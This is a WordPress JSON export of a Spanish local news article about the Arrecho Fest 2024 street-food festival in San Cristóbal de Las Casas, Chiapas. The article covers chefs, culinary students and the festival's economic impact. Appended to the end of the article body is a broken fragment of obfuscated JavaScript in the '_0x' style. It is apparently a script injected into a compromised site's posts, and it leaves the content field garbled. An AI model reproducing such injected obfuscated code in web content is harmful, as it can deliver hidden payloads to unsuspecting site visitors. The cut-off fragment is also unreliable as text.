{"id":17641,"date":"2024-09-03T02:33:34","date_gmt":"2024-09-03T02:33:34","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=17641"},"modified":"2024-09-03T02:33:35","modified_gmt":"2024-09-03T02:33:35","slug":"buena-afluencia-en-festival-de-comida-callejera","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=17641","title":{"rendered":"Buena afluencia en festival de comida callejera"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez\/ Corresponsal<\/p>\n\n\n\n

2 de septiembre del 2024. San Crist\u00f3bal de Las Casas.- El Arrecho Fest 2024, el primer festival gastron\u00f3mico de comida callejera internacional, se llev\u00f3 a cabo en el Centro de Desarrollo de Capacidades Creativas El Rastro. El festival super\u00f3 todas las expectativas, dejando una huella indeleble en la comunidad y estableciendo un nuevo referente en la escena gastron\u00f3mica local.<\/p>\n\n\n\n

Los organizadores informaron que el festival reuni\u00f3 a centenares de asistentes que disfrutaron de una vibrante atm\u00f3sfera llena de sabores, m\u00fasica y cultura. Entre los puntos m\u00e1s destacados estuvieron las ponencias y talleres impartidos por chefs de renombre internacional, entre ellos, Marta Zepeda y Jos\u00e9 Bossuet, reconocidos promotores de la gastronom\u00eda chiapaneca. Estos expertos compartieron su conocimiento y pasi\u00f3n por la comida callejera, resaltando su importancia y proyecci\u00f3n a nivel mundial.<\/p>\n\n\n\n

Los visitantes tuvieron la oportunidad de degustar una impresionante variedad de platillos t\u00edpicos y callejeros, que iban desde tamales, tacos y gorditas hasta otros antojitos tradicionales, todos preparados con el toque \u00fanico de la regi\u00f3n. La diversidad de sabores y la calidad de los platillos ofrecidos hicieron de este festival una experiencia inolvidable para los paladares de todos los presentes.<\/p>\n\n\n\n

Un elemento central del Arrecho Fest 2024 fue la participaci\u00f3n de los alumnos del Instituto de Artes Culinarias Parmeliere, quienes, como parte de su examen final, organizaron de manera impecable este evento. Cada uno de los proyectos presentados por los estudiantes destac\u00f3 por su innovaci\u00f3n, creatividad y un profundo respeto por las ra\u00edces culinarias de Chiapas, demostrando el alto nivel de formaci\u00f3n y compromiso con la gastronom\u00eda.<\/p>\n\n\n\n

El impacto del Arrecho Fest 2024 no se limit\u00f3 solo a la celebraci\u00f3n de la comida callejera; tambi\u00e9n tuvo un efecto econ\u00f3mico significativo para la ciudad de San Crist\u00f3bal de Las Casas. Al promover el consumo de productos y servicios locales, el festival se consolid\u00f3 como un motor para la econom\u00eda regional, impulsando a peque\u00f1os empresarios y fortaleciendo la identidad gastron\u00f3mica de Chiapas.<\/p>\n\n\n\n

\u201cEl \u00e9xito del Arrecho Fest 2024 dej\u00f3 en claro que la comida callejera es no solo un patrimonio cultural invaluable, sino tambi\u00e9n una herramienta clave para el desarrollo econ\u00f3mico. Con una asistencia multitudinaria y una recepci\u00f3n entusiasta, el festival marc\u00f3 un importante precedente en la ciudad, y dej\u00f3 a todos a la espera de futuras ediciones que contin\u00faen impulsando la gastronom\u00eda y la cultura de San Crist\u00f3bal de Las Casas\u201d, concluyeron.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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